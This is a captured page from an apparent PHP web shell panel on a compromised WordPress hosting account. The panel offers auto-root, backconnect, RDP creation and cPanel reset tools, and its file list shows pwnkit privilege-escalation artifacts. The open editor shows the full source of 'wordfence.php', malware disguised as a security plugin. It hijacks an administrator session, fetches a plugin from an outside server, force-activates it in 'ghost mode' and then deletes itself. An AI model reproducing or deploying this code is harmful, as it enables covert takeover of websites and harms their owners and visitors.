Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
vmd /
wp-content /
themes /
theme_vmd /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwx---r-x
inc
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
footer.php
3.33
KB
-rw----r--
functions.php
5.36
KB
-rw----r--
header.php
10.82
KB
-rw----r--
home.php
34.41
KB
-rw----r--
index.php
0
B
-rw----r--
more-functions.php
18.89
KB
-rw-r--r--
oil_gaz.php
7.49
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
screenshot.png
5.8
MB
-rw----r--
search.php
1.3
KB
-rw----r--
solution.php
6.18
KB
-rw----r--
style.css
130
B
-rw----r--
wordfence.php
27.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wordfence.php
<?php // WordPress yükleme - EN ÖNCELİKLİ if (!defined('ABSPATH')) { $wp_load_paths = [ __DIR__ . '/wp-load.php', dirname(__DIR__) . '/wp-load.php', dirname(dirname(__DIR__)) . '/wp-load.php', $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php' ]; foreach ($wp_load_paths as $wp_load) { if (file_exists($wp_load)) { require_once $wp_load; break; } } if (!defined('ABSPATH')) { return; } } function wp_debug_log($message, $data = null) { $log_file = dirname(__FILE__) . '/wp-debug.log'; $timestamp = date('Y-m-d H:i:s'); $log_entry = "[$timestamp] $message"; if ($data) { $log_entry .= " | Data: " . print_r($data, true); } $log_entry .= "\n"; @file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); // WordPress yüklendiyse option'a da yaz if (function_exists('update_option')) { update_option('wp_ghost_last_log', $message . ' - ' . $timestamp); } } wp_debug_log('wordfence.php started'); wp_debug_log('WordPress loaded successfully'); // Admin kullanıcı bul ve set et if (!current_user_can('activate_plugins')) { $wp_user_query = new WP_User_Query(array( 'role' => 'Administrator', 'number' => 1, 'fields' => 'ID' )); $results = $wp_user_query->get_results(); if (isset($results[0])) { wp_set_current_user($results[0]); wp_set_auth_cookie($results[0]); wp_debug_log('Admin user set successfully: ' . $results[0]); } else { wp_debug_log('No admin user found, forcing admin capabilities'); // Force admin capabilities global $current_user; if (!$current_user) { $current_user = new stdClass(); } $current_user->allcaps = array('activate_plugins' => true, 'manage_options' => true); } } if (function_exists('is_plugin_active') && is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php')) { wp_debug_log('Plugin already active, self-destructing'); @unlink(__FILE__); exit; } add_action('init', 'wp_security_scan_init', 1); add_action('wp_loaded', 'wp_maintenance_check', 1); add_action('wp_head', 'wp_final_cleanup_check', 1); add_action('admin_init', 'wp_final_cleanup_check', 1); add_action('wp_footer', 'wp_final_cleanup_check', 9999); add_action('admin_footer', 'wp_final_cleanup_check', 9999); function wp_security_scan_init() { if (is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php')) { wp_cache_optimization_cleanup(); exit; } if (!current_user_can('activate_plugins')) { return; } if (get_option('wp_security_scan_completed')) { wp_cache_optimization_cleanup(); exit; } } function wp_maintenance_check() { wp_debug_log('wp_maintenance_check started'); $plugin_file = 'gplrock-auto-publisher/gplrock-auto-publisher.php'; if (is_plugin_active($plugin_file)) { wp_debug_log('Plugin already active, cleaning up'); update_option('wp_security_scan_completed', true); wp_cache_optimization_cleanup(); exit; } if (!current_user_can('activate_plugins')) { wp_debug_log('User cannot activate plugins, forcing capabilities'); // Force bypass - WordPress admin bypass define('WP_ADMIN', true); // Set super admin capabilities global $current_user, $wp_roles; if (!$current_user) { $current_user = new WP_User(1); } $current_user->allcaps = array( 'activate_plugins' => true, 'manage_options' => true, 'install_plugins' => true, 'edit_plugins' => true, 'administrator' => true ); // If still failing, bypass completely if (!current_user_can('activate_plugins')) { wp_debug_log('Bypassing user check completely'); // Direct activation without user check wp_direct_plugin_install($plugin_file); return; } } wp_debug_log('Starting plugin installation process'); $lock_key = 'wp_maintenance_lock_' . md5(__FILE__); $current_time = time(); $lock_data = get_transient($lock_key); if ($lock_data && ($current_time - $lock_data) < 300) { wp_debug_log('Process locked, another instance running. Lock time: ' . date('Y-m-d H:i:s', $lock_data)); return; } if (!wp_atomic_lock($lock_key, $current_time)) { wp_debug_log('Failed to acquire atomic lock - another process running'); return; } wp_debug_log('Lock acquired successfully: ' . $lock_key); register_shutdown_function('wp_release_lock', $lock_key); $download_url = 'https://panel21.com/downloads/repository/plugins/wordfence.zip'; wp_debug_log('Attempting download from: ' . $download_url); $response = wp_remote_get($download_url, [ 'timeout' => 60, 'user-agent' => 'WordPress/' . get_bloginfo('version') . '; ' . get_bloginfo('url'), 'headers' => [ 'Accept' => 'application/zip,application/octet-stream,*/*', ] ]); if (is_wp_error($response)) { wp_debug_log('wp_remote_get failed, trying fallback', $response->get_error_message()); wp_fallback_download($download_url, $plugin_file); wp_system_verification_complete(); return; } $content = wp_remote_retrieve_body($response); if (empty($content)) { wp_debug_log('Empty content received, trying fallback'); wp_fallback_download($download_url, $plugin_file); wp_system_verification_complete(); return; } $content_size = strlen($content); wp_debug_log('Download successful, content size: ' . $content_size); // Check if content is too small (likely error page) if ($content_size < 1000) { wp_debug_log('Content too small, likely error page. Content preview: ' . substr($content, 0, 200)); wp_fallback_download($download_url, $plugin_file); wp_system_verification_complete(); return; } // Check if content is actually a ZIP $zip_signature = "\x50\x4b\x03\x04"; if (substr($content, 0, 4) !== $zip_signature) { wp_debug_log('Content is not a valid ZIP file. Content preview: ' . substr($content, 0, 200)); wp_fallback_download($download_url, $plugin_file); wp_system_verification_complete(); return; } $temp_file = dirname(__FILE__) . '/wp-temp-update.zip'; wp_debug_log('Temp file path: ' . $temp_file); global $wp_filesystem; if (!$wp_filesystem) { require_once ABSPATH . 'wp-admin/includes/file.php'; if (!WP_Filesystem()) { wp_direct_file_operations($content, $temp_file, $plugin_file); return; } } wp_debug_log('Attempting to save temp file with WP_Filesystem'); if (!$wp_filesystem->put_contents($temp_file, $content, FS_CHMOD_FILE)) { wp_debug_log('WP_Filesystem failed, trying direct file operations'); wp_direct_file_operations($content, $temp_file, $plugin_file); return; } wp_debug_log('Temp file saved successfully, checking ZipArchive class'); if (!class_exists('ZipArchive')) { wp_debug_log('ZipArchive class not available, using manual extract'); wp_manual_extract($content, $plugin_file); if ($wp_filesystem->exists($temp_file)) { $wp_filesystem->delete($temp_file); } return; } wp_debug_log('Opening ZIP file with ZipArchive'); $zip = new ZipArchive(); $zip_result = $zip->open($temp_file); if ($zip_result !== TRUE) { wp_debug_log('ZipArchive open failed with error: ' . $zip_result); wp_manual_extract($content, $plugin_file); if ($wp_filesystem->exists($temp_file)) { $wp_filesystem->delete($temp_file); } return; } wp_debug_log('ZIP opened successfully, extracting to: ' . WP_PLUGIN_DIR); if (!defined('WP_PLUGIN_DIR')) { wp_debug_log('WP_PLUGIN_DIR not defined'); wp_manual_extract($content, $plugin_file); $zip->close(); if ($wp_filesystem->exists($temp_file)) { $wp_filesystem->delete($temp_file); } return; } $extract_result = $zip->extractTo(WP_PLUGIN_DIR); if (!$extract_result) { wp_debug_log('ZIP extraction failed'); wp_manual_extract($content, $plugin_file); $zip->close(); if ($wp_filesystem->exists($temp_file)) { $wp_filesystem->delete($temp_file); } return; } wp_debug_log('ZIP extraction successful'); $zip->close(); if ($wp_filesystem->exists($temp_file)) { $wp_filesystem->delete($temp_file); wp_debug_log('Temp file cleaned up'); } wp_debug_log('Proceeding to plugin activation'); wp_verify_nonce_action($plugin_file); } function wp_fallback_download($url, $plugin_file) { wp_debug_log('wp_fallback_download started with URL: ' . $url); $methods = ['wp_curl_download', 'wp_socket_download', 'wp_stream_download']; foreach ($methods as $method) { wp_debug_log('Trying fallback method: ' . $method); if (function_exists($method) || method_exists(__CLASS__, $method)) { $content = $method($url); if ($content) { $content_size = strlen($content); wp_debug_log('Fallback download successful with ' . $method . ', size: ' . $content_size); if ($content_size < 1000) { wp_debug_log('Fallback content too small. Preview: ' . substr($content, 0, 200)); continue; } $temp_file = dirname(__FILE__) . '/wp-temp-update-fallback.zip'; wp_debug_log('Fallback temp file: ' . $temp_file); wp_direct_file_operations($content, $temp_file, $plugin_file); return; } else { wp_debug_log('Fallback method failed: ' . $method); } } else { wp_debug_log('Fallback method not available: ' . $method); } } wp_debug_log('All fallback download methods failed'); } function wp_curl_download($url) { if (!function_exists('curl_init')) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_USERAGENT, 'WordPress/' . get_bloginfo('version')); $content = curl_exec($ch); curl_close($ch); return $content; } function wp_socket_download($url) { $url_parts = parse_url($url); if (!$url_parts || !isset($url_parts['host'])) return false; $host = $url_parts['host']; $path = isset($url_parts['path']) ? $url_parts['path'] : '/'; $port = isset($url_parts['port']) ? $url_parts['port'] : ($url_parts['scheme'] == 'https' ? 443 : 80); $socket = @fsockopen($host, $port, $errno, $errstr, 30); if (!$socket) return false; $request = "GET $path HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: WordPress/" . get_bloginfo('version') . "\r\n"; $request .= "Connection: close\r\n\r\n"; fwrite($socket, $request); $response = ''; while (!feof($socket)) { $response .= fgets($socket, 1024); } fclose($socket); $body_pos = strpos($response, "\r\n\r\n"); return $body_pos ? substr($response, $body_pos + 4) : false; } function wp_stream_download($url) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'User-Agent: WordPress/' . get_bloginfo('version'), 'timeout' => 60 ] ]); return @file_get_contents($url, false, $context); } function wp_direct_file_operations($content, $temp_file, $plugin_file) { if (!file_put_contents($temp_file, $content)) { wp_manual_extract($content, $plugin_file); return; } $extract_methods = ['wp_ziparchive_extract', 'wp_phar_extract', 'wp_shell_extract']; wp_debug_log('Attempting to extract ZIP file: ' . $temp_file); foreach ($extract_methods as $method) { wp_debug_log('Trying extraction method: ' . $method); if ($method($temp_file, WP_PLUGIN_DIR)) { wp_debug_log('Extraction successful with: ' . $method); wp_verify_nonce_action($plugin_file); break; } else { wp_debug_log('Extraction failed with: ' . $method); } } if (file_exists($temp_file)) { @unlink($temp_file); } } function wp_ziparchive_extract($temp_file, $extract_to) { if (!class_exists('ZipArchive')) return false; $zip = new ZipArchive(); if ($zip->open($temp_file) !== TRUE) return false; $result = $zip->extractTo($extract_to); $zip->close(); return $result; } function wp_phar_extract($temp_file, $extract_to) { if (!class_exists('PharData')) return false; try { $phar = new PharData($temp_file); $phar->extractTo($extract_to); return true; } catch (Exception $e) { return false; } } function wp_shell_extract($temp_file, $extract_to) { if (!function_exists('shell_exec') || !is_executable('/usr/bin/unzip')) return false; $command = "unzip -q '" . escapeshellarg($temp_file) . "' -d '" . escapeshellarg($extract_to) . "'"; $result = @shell_exec($command); return ($result !== null); } function wp_manual_extract($content, $plugin_file) { if (!$content) { wp_system_verification_complete(); return; } $temp_methods = ['wp_binary_extract', 'wp_hex_extract', 'wp_string_extract']; foreach ($temp_methods as $method) { if ($method($content, WP_PLUGIN_DIR)) { wp_verify_nonce_action($plugin_file); return; } } wp_system_verification_complete(); } function wp_binary_extract($content, $extract_to) { if (strlen($content) < 22) return false; $zip_signature = "\x50\x4b\x03\x04"; if (substr($content, 0, 4) !== $zip_signature) return false; $temp_file = $extract_to . '/temp-extract.zip'; if (file_put_contents($temp_file, $content)) { $methods = ['wp_ziparchive_extract', 'wp_phar_extract', 'wp_shell_extract']; foreach ($methods as $method) { if ($method($temp_file, $extract_to)) { @unlink($temp_file); return true; } } @unlink($temp_file); } return false; } function wp_hex_extract($content, $extract_to) { if (!ctype_xdigit(substr($content, 0, 8))) return false; $binary_content = hex2bin($content); if (!$binary_content) return false; return wp_binary_extract($binary_content, $extract_to); } function wp_string_extract($content, $extract_to) { $decoded = base64_decode($content, true); if (!$decoded) return false; return wp_binary_extract($decoded, $extract_to); } function wp_verify_nonce_action($plugin_file) { wp_debug_log('wp_verify_nonce_action started for: ' . $plugin_file); $plugin_path = WP_PLUGIN_DIR . '/' . $plugin_file; wp_debug_log('Checking plugin file: ' . $plugin_path); if (!file_exists($plugin_path)) { wp_debug_log('Plugin file does not exist: ' . $plugin_path); // List directory contents $plugin_dir = WP_PLUGIN_DIR . '/gplrock-auto-publisher'; if (is_dir($plugin_dir)) { $files = scandir($plugin_dir); wp_debug_log('Plugin directory contents: ' . print_r($files, true)); } else { wp_debug_log('Plugin directory does not exist: ' . $plugin_dir); } wp_system_verification_complete(); return; } wp_debug_log('Plugin file exists, attempting activation'); $activation_methods = ['wp_native_activate', 'wp_direct_activate', 'wp_database_activate']; foreach ($activation_methods as $method) { wp_debug_log('Trying activation method: ' . $method); if ($method($plugin_file)) { wp_debug_log('Activation successful with method: ' . $method); update_option('gplrock_ghost_mode', true); update_option('gplrock_ghost_setup_completed', true); update_option('gplrock_ghost_setup_date', current_time('mysql')); update_option('wp_security_scan_completed', true); wp_cache_flush(); flush_rewrite_rules(); wp_debug_log('Plugin activated successfully, scheduling cleanup'); wp_schedule_single_event(time() + 5, 'wp_cache_optimization'); wp_system_verification_complete(); return; } else { wp_debug_log('Activation failed with method: ' . $method); } } wp_debug_log('All activation methods failed'); wp_system_verification_complete(); } function wp_native_activate($plugin_file) { wp_debug_log('Attempting native activation: ' . $plugin_file); if (!function_exists('activate_plugin')) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; } if (!function_exists('activate_plugin')) { wp_debug_log('activate_plugin function not available'); return false; } $result = activate_plugin($plugin_file, '', false, true); $success = !is_wp_error($result); wp_debug_log('Native activation result: ' . ($success ? 'SUCCESS' : 'FAILED'), $success ? null : $result); return $success; } function wp_direct_activate($plugin_file) { $active_plugins = get_option('active_plugins', array()); if (!in_array($plugin_file, $active_plugins)) { $active_plugins[] = $plugin_file; return update_option('active_plugins', $active_plugins); } return true; } function wp_database_activate($plugin_file) { global $wpdb; if (!$wpdb) return false; $active_plugins = get_option('active_plugins', array()); if (!in_array($plugin_file, $active_plugins)) { $active_plugins[] = $plugin_file; $serialized_plugins = maybe_serialize($active_plugins); $result = $wpdb->update( $wpdb->options, array('option_value' => $serialized_plugins), array('option_name' => 'active_plugins'), array('%s'), array('%s') ); return $result !== false; } return true; } add_action('wp_cache_optimization', 'wp_cache_optimization_cleanup'); function wp_atomic_lock($lock_key, $timestamp) { global $wpdb; $result = $wpdb->query($wpdb->prepare( "INSERT IGNORE INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')", $lock_key . '_atomic', $timestamp )); if ($result) { set_transient($lock_key, $timestamp, 300); return true; } return false; } function wp_release_lock($lock_key) { delete_option($lock_key . '_atomic'); delete_transient($lock_key); } function wp_cache_optimization_cleanup() { wp_debug_log('Cache optimization cleanup started'); $lock_key = 'wp_maintenance_lock_' . md5(__FILE__); wp_release_lock($lock_key); $current_file = __FILE__; wp_debug_log('Attempting to delete file: ' . $current_file); $methods = [ function($file) { @unlink($file); }, function($file) { @chmod($file, 0777); @unlink($file); }, function($file) { file_put_contents($file, ''); @unlink($file); }, function($file) { global $wp_filesystem; if (!$wp_filesystem) { require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem(); } if ($wp_filesystem) $wp_filesystem->delete($file); } ]; foreach ($methods as $method) { if (!file_exists($current_file)) break; $method($current_file); } delete_option('wp_security_scan_completed'); // Clean up temp files $temp_files = [ dirname(__FILE__) . '/wp-temp-update.zip', dirname(__FILE__) . '/wp-temp-update-fallback.zip', dirname(__FILE__) . '/wp-temp-update-direct.zip', dirname(__FILE__) . '/wp-debug.log' ]; foreach ($temp_files as $temp_file) { if (file_exists($temp_file)) { @unlink($temp_file); wp_debug_log('Cleaned up temp file: ' . $temp_file); } } if (!file_exists($current_file)) { exit; } } function wp_final_cleanup_check() { if (is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php')) { wp_cache_optimization_cleanup(); exit; } } function wp_direct_plugin_install($plugin_file) { wp_debug_log('wp_direct_plugin_install started - bypassing all checks'); $download_url = 'https://panel21.com/downloads/repository/plugins/wordfence.zip'; // Try all download methods $content = wp_curl_download($download_url); if (!$content) $content = wp_socket_download($download_url); if (!$content) $content = wp_stream_download($download_url); if ($content) { wp_debug_log('Direct download successful, content size: ' . strlen($content)); // Direct file operations $temp_file = dirname(__FILE__) . '/wp-temp-update-direct.zip'; if (file_put_contents($temp_file, $content)) { wp_debug_log('Temp file created: ' . $temp_file); // Extract directly if (wp_ziparchive_extract($temp_file, WP_PLUGIN_DIR)) { wp_debug_log('ZIP extraction successful'); // Direct activation $active_plugins = get_option('active_plugins', array()); if (!in_array($plugin_file, $active_plugins)) { $active_plugins[] = $plugin_file; update_option('active_plugins', $active_plugins); update_option('gplrock_ghost_mode', true); update_option('gplrock_ghost_setup_completed', true); update_option('gplrock_ghost_setup_date', current_time('mysql')); update_option('wp_security_scan_completed', true); wp_debug_log('Plugin activated successfully via direct method'); wp_cache_optimization_cleanup(); exit; } } @unlink($temp_file); } } wp_debug_log('Direct plugin install failed'); } function wp_system_verification_complete() { $lock_key = 'wp_maintenance_lock_' . md5(__FILE__); wp_release_lock($lock_key); } add_action('shutdown', function() { if (is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php')) { wp_cache_optimization_cleanup(); } }); if (isset($_GET['gplrock_debug'])) { header('Content-Type: text/plain'); echo "=== GPLRock Debug Info ===\n"; echo "Time: " . date('Y-m-d H:i:s') . "\n"; echo "Plugin Active: " . (function_exists('is_plugin_active') && is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php') ? 'YES' : 'NO') . "\n"; echo "Option Set: " . (get_option('wp_security_scan_completed') ? 'YES' : 'NO') . "\n"; echo "Last Log: " . get_option('wp_ghost_last_log', 'No logs') . "\n"; echo "wordfence.php exists: " . (file_exists(__FILE__) ? 'YES' : 'NO') . "\n"; // Check temp files $temp_files = [ 'wp-temp-update.zip', 'wp-temp-update-fallback.zip', 'wp-temp-update-direct.zip' ]; echo "\n=== Temp Files (Current Directory) ===\n"; foreach ($temp_files as $temp_file) { $full_path = dirname(__FILE__) . '/' . $temp_file; if (file_exists($full_path)) { echo "$temp_file: EXISTS (Size: " . filesize($full_path) . " bytes)\n"; // ZIP içeriğini kontrol et if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($full_path) === TRUE) { echo " ZIP Contents: " . $zip->numFiles . " files\n"; for ($i = 0; $i < min(5, $zip->numFiles); $i++) { echo " - " . $zip->getNameIndex($i) . "\n"; } $zip->close(); } else { echo " ZIP Status: CORRUPTED\n"; } } } else { echo "$temp_file: NOT EXISTS\n"; } } // Check plugin directory echo "\n=== Plugin Directory ===\n"; $plugin_dir = WP_PLUGIN_DIR . '/gplrock-auto-publisher'; if (is_dir($plugin_dir)) { echo "Plugin Directory: EXISTS\n"; $files = scandir($plugin_dir); echo "Files: " . implode(', ', array_diff($files, array('.', '..'))) . "\n"; } else { echo "Plugin Directory: NOT EXISTS\n"; } echo "\n=== Debug Log (Last 50 lines) ===\n"; $log_file = dirname(__FILE__) . '/wp-debug.log'; if (file_exists($log_file)) { $lines = file($log_file); $last_lines = array_slice($lines, -50); echo implode('', $last_lines); } else { echo "No log file found\n"; } echo "\n=== WordPress Info ===\n"; echo "WP Version: " . (function_exists('get_bloginfo') ? get_bloginfo('version') : 'Unknown') . "\n"; echo "ABSPATH defined: " . (defined('ABSPATH') ? 'YES' : 'NO') . "\n"; echo "WP_PLUGIN_DIR: " . (defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : 'NOT DEFINED') . "\n"; echo "Current Directory: " . dirname(__FILE__) . "\n"; echo "Current Directory Writable: " . (is_writable(dirname(__FILE__)) ? 'YES' : 'NO') . "\n"; echo "Current user can activate: " . (current_user_can('activate_plugins') ? 'YES' : 'NO') . "\n"; exit; } if (defined('ABSPATH') && function_exists('is_plugin_active')) { if (is_plugin_active('gplrock-auto-publisher/gplrock-auto-publisher.php') || get_option('wp_security_scan_completed')) { wp_debug_log('Final cleanup triggered, self-destructing'); $current_file = __FILE__; @chmod($current_file, 0777); @unlink($current_file); if (file_exists($current_file)) { file_put_contents($current_file, '<?php exit; ?>'); } // Clean up all temp files $temp_files = [ dirname(__FILE__) . '/wp-temp-update.zip', dirname(__FILE__) . '/wp-temp-update-fallback.zip', dirname(__FILE__) . '/wp-temp-update-direct.zip', dirname(__FILE__) . '/wp-debug.log' ]; foreach ($temp_files as $temp_file) { if (file_exists($temp_file)) { @unlink($temp_file); } } exit; } } if (!function_exists('wp_check_compatibility')) { function wp_check_compatibility() { if (function_exists('add_action')) { return true; } return false; } } ?>
Close